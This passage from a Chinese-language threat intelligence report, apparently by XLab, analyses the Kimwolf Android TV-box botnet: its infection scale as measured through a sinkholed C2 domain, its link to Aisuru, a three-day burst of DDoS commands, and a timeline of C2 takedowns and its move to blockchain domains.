C2协议特征的源IP数据进行统计，在12月3日至12月5日的三天内，共观测到累计约270 万个不同的源IP地址。其中，12月3日观测到约136万个活跃 IP，12月4日约183万个，12月5日约150万个（不同日期之间存在IP重叠）。分析表明，Kimwolf主要感染对象为部署在住宅网络环境中的电视盒子。由于住宅网络通常采用动态IP分配机制，设备的公网IP会随时间变化，因此无法仅通过 IP数量准确衡量被感染设备的真实规模。换言之，累计观测到的270万个IP地址并不等同于270万台被感染设备。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">尽管如此，我们仍有充分理由认为，kimwolf实际感染的设备数量超过180万台。这一判断基于以下几个方面的观察：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">kimwolf使用多个C2基础设施。我们接管的仅是其中一部分C2，因此只能观测到部分Bot的活动，无法覆盖整个僵尸网络的全貌。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在12月4日，我们观测到的Bot IP数量达到约183万，为历史峰值。当天，kimwolf 正常使用的部分C2被相关机构处置，导致大量Bot无法连接原有C2，转而尝试连接我们抢注的C2。这一异常事件使得更多Bot 在短时间内集中暴露，因此该日的数据可能更接近真实的感染规模下限。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">被感染设备分布在全球多个时区。受时区差异和使用习惯影响（例如夜间关机、节假日不使用电视盒子等），这些设备并不会同时在线，进一步增加了通过单一时间窗口全面观测的难度。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">kimwolf 存在多个不同版本，且不同版本使用的C2并不完全相同，这也是我们无法获取完整视角的重要原因之一</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">综合以上因素，我们保守估计 kimwolf 的实际感染设备数量已超过</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">180万</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">台。如此规模的僵尸网络具备发动大规模网络攻击的能力，其潜在破坏力不容忽视。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在努力跟踪新版本的同时，我们也对旧版本充满了好奇。通过溯源分析，虽然没能捕获v1,v2之类的旧版本，但是我们惊奇的发现Kimwolf居然和Aisuru僵尸网络关联在一起。Kimwolf运行时依赖一个APK文件将它加载启动，一个于10月7日由印度上传到VT的DEX文件表现出了和Kimwolf的APK明显的同源特征，随后在10月18日该DEX的母体APK于阿尔及利亚被上传至VT，该APK的资源文件包含x86,x64,arm3个CPU架构的Aisuru样本。我们推测此次活动初期，攻击者直接复用了 Aisuru 的代码展开活动；随后，可能由于 Aisuru 样本在安全产品中的检测率较高——与 IoT 生态相比，Android 平台具备更成熟的安全防护体系——该团伙决定重新设计并开发了 Kimwolf 僵尸网络，以增强隐蔽性，规避检测。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从XLab指令跟踪系统的监测数据来看，统计显示Kimwolf僵尸网络的主要功能通常集中于流量代理，少量DDoS攻击。然而在11月19日至22日期间，它突然“发疯”：短短的3天，下发了17亿条DDoS攻击指令，攻击范围几乎覆盖全球大量IP地址。这是C2域名流行度登顶事件之后，又一次高调且疯狂的行动，理论上来说如此多的攻击指令和攻击目标可能无法对目标产生实质性的攻击效果，这次行为可能是纯粹为了彰显自身存在感。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">当前，安全社区对Kimwolf的认知呈现两极分化态势。</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">公开情报领域信息稀缺</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，其传播路径尚未明确，相关样本及其C2域名在VirusTotal上的检出率极低。同时，由于采用（DOT）等隐蔽技术，其C2与样本之间的关联性也未能被有效发现。然而，</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">在非公开的威胁对抗层面</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">，情况截然不同</span>。我们观察到Kimwolf的C2域名已被未知方成功处置至少三次，迫使其战术升级，转而利用</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">基于区块链的命名服务（例如Ethereum Name Service，即 .eth 域名）</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">来加固基础设施，显示出其强大对抗演化能力。鉴于Kimwolf已形成庞大攻击规模，且近期活动频率与攻击行为呈显著上升趋势，<span textstyle="" style="font-weight: bold;">我方认为有必要打破情报沉默</span>。特此发布本技术分析报告，公开相关研究成果，旨在推动威胁情报共享，凝聚社区力量共同应对此此类威胁，切实维护网络空间安全。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">时间线</span></span></h1><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">10月24日，社区信任伙伴向我们提供了首个 kimwolf 样本，版本为 v4。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">11月1日至28日，Xlab 大网威胁感知系统独立捕获8个新样本，涵盖 v4 与 v5 版本。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月1日，Xlab 成功接管 v5 版本中的一个 C2 域名，观测到的日活跃 bot IP数量峰值约达 183 万。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月4日，Kimwolf C2域名被未知方处置，C2域名无法解析到有效的IP地址。</span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000668" alt="kimwolf_error1.png" class="rich_pages wxw-img" data-ratio="0.47665847665847666" data-type="png" data-w="1221" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-backw="578" data-backh="276" src="https://wechat2rss.xlab.app/img-proxy/?k=a30069a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMvm0NlSM69yKPwibzgBKXTybibwGKZjsywYsn8kdOeeAibbdZYB0AjPfRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月6日，Xlab再次捕获到新的 v5 样本，该样本启用6个新的 C2 地址。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月8日，发现在野活跃的下载服务器，成功捕获kimwolf活动相关脚本。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月10日，Kimwolf的新C2域名再次被处置</span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000667" alt="kimwolf_error2.png" class="rich_pages wxw-img" data-ratio="0.533210332103321" data-type="png" data-w="1084" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-backw="578" data-backh="308" src="https://wechat2rss.xlab.app/img-proxy/?k=669276da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMFRUGvqRUCIu1oMZ6KLI8tiaAiavI8ZiaWQyxKxhp5Ab3Y0qXFbAM7BFcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月11日，Xlab再次捕获到新的 v5 样本，该样本的启用一个全新的C2域名，但C2端口并未开放；母体APK证书更新。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月12日，Kimwolf再次升级基础设施，通过引入区块链的域名来增强C2的抗打击能力，以回应此前遭到的多次处置，甚至嚣张宣称“手握百台服务器，欢迎来封”。</span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000669" alt="kimwolf_ens.png" class="rich_pages wxw-img" data-ratio="0.492320819112628" data-type="png" data-w="1172" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-backw="578" data-backh="285" src="https://wechat2rss.xlab.app/img-proxy/?k=ac9a2c7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMnqUCXNtHOTUI8sVjSY9jg34XEN5vuls6ugK5ARvfJA3CTZHPXtMCPg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">感染规模 &amp; 攻击能力</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月1日，我们成功接管了一个Kimwolf的C2域名，首次得以直接评估该僵尸网络的真实感染规模。从统计数据来看，累计感染IP超过<span textstyle="" style="font-weight: bold;">366</span>万，并于12月4日达到活跃峰值，单日节点IP高达<span textstyle="" style="font-weight: bold;">1829977</span>。我们的接管行动似乎触发了连锁反应，随后未知第三方对Kimwolf的其他C2基础设施实施了处置（如停止DNS解析）。此举破使Kimwolf的运营者不得不紧急进行升级，全面替换样本的C2配置，这导致我们观测到的数字急剧下降，当前日活规模在20万左右。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000666" alt="kimwolf_sinkhole.png" class="rich_pages wxw-img" data-ratio="0.45171102661596957" data-type="png" data-w="1315" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e5257f9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMkJblvOO1gaqelu1IpxnatXBYoB2CQa95BfofOXFRs67jjkiaWxVaaicA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf主要针对安卓平台，涉及电视、机顶盒，平板等设备，部分设备型号如下所示：</span></p><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Device Model</span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Device Model</span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Device Model</span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Device Model</span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">TV BOX</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">SuperBOX</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">HiDPTAndroid</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">P200</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">X96Q</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">XBOX</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">SmartTV</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">MX10</span></p></td></tr></tbody></table><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 